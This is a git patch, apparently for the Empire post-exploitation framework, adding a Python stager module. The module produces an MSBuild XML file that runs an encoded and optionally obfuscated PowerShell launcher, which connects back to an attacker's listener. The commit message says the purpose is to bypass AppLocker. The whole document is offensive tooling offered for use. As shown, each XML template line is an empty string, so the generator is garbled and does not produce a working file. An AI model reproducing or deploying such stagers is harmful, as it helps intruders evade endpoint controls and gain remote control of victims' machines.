From 7a7e91f275474c2b2a1a4aa28a11d05e366abe07 Mon Sep 17 00:00:00 2001 From: p3nt4 Date: Thu, 9 Nov 2017 09:08:59 +1100 Subject: [PATCH] Add MSBuild.exe XML Launcher This launcher leverages MSBuild.exe to execute the powershell script. It does not require access to powershell.exe so it can be convenient to bypass applocker. The module code is a rip off from the launcher launcher_sct.py by @subTee and @enigma0x3. --- lib/stagers/windows/launcher_xml.py | 160 ++++++++++++++++++++++++++++ 1 file changed, 160 insertions(+) create mode 100644 lib/stagers/windows/launcher_xml.py diff --git a/lib/stagers/windows/launcher_xml.py b/lib/stagers/windows/launcher_xml.py new file mode 100644 index 0000000..c2471ff --- /dev/null +++ b/lib/stagers/windows/launcher_xml.py @@ -0,0 +1,160 @@ +from lib.common import helpers + +class Stager: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'msbuild_xml', + + 'Author': ['@p3nt4'], + + 'Description': ('Generates an XML file to be run with MSBuild.exe'), + + 'Comments': [ + 'On the endpoint simply launch MSBuild.exe payload.xml' + ] + } + + # any options needed by the stager, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Listener': { + 'Description': 'Listener to generate stager for.', + 'Required': True, + 'Value': '' + }, + 'Language' : { + 'Description' : 'Language of the stager to generate.', + 'Required' : True, + 'Value' : 'powershell' + }, + 'StagerRetries': { + 'Description': 'Times for the stager to retry connecting.', + 'Required': False, + 'Value': '0' + }, + 'Obfuscate' : { + 'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', + 'Required' : False, + 'Value' : 'False' + }, + 'ObfuscateCommand' : { + 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', + 'Required' : False, + 'Value' : r'Token\All\1,Launcher\STDIN++\12467' + }, + 'OutFile': { + 'Description': 'File to output XML to, otherwise displayed on the screen.', + 'Required': False, + 'Value': '/tmp/launcher.xml' + }, + 'UserAgent': { + 'Description': 'User-agent string to use for the staging request (default, none, or other).', + 'Required': False, + 'Value': 'default' + }, + 'Proxy': { + 'Description': 'Proxy to use for request (default, none, or other).', + 'Required': False, + 'Value': 'default' + }, + 'ProxyCreds': { + 'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required': False, + 'Value': 'default' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + def generate(self): + + # extract all of our options + language = self.options['Language']['Value'] + listenerName = self.options['Listener']['Value'] + obfuscate = self.options['Obfuscate']['Value'] + obfuscateCommand = self.options['ObfuscateCommand']['Value'] + userAgent = self.options['UserAgent']['Value'] + proxy = self.options['Proxy']['Value'] + proxyCreds = self.options['ProxyCreds']['Value'] + stagerRetries = self.options['StagerRetries']['Value'] + + encode = True + + obfuscateScript = False + if obfuscate.lower() == "true": + obfuscateScript = True + + # generate the launcher code + launcher = self.mainMenu.stagers.generate_launcher( + listenerName, language=language, encode=encode, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) + + launcher_array=launcher.split() + if len(launcher_array) > 1: + print helpers.color("[*] Removing Launcher String") + launcher = launcher_array[-1] + + if launcher == "": + print helpers.color("[!] Error in launcher command generation.") + return "" + else: + code ="" + code += "" + code += "" + code += "" + code += "" + code += "" + code += "" + code += "" + code += "" + code += "" + code += "" + code += "" + code += "" + code += "" + code += "" + code += "" + code += "" + return code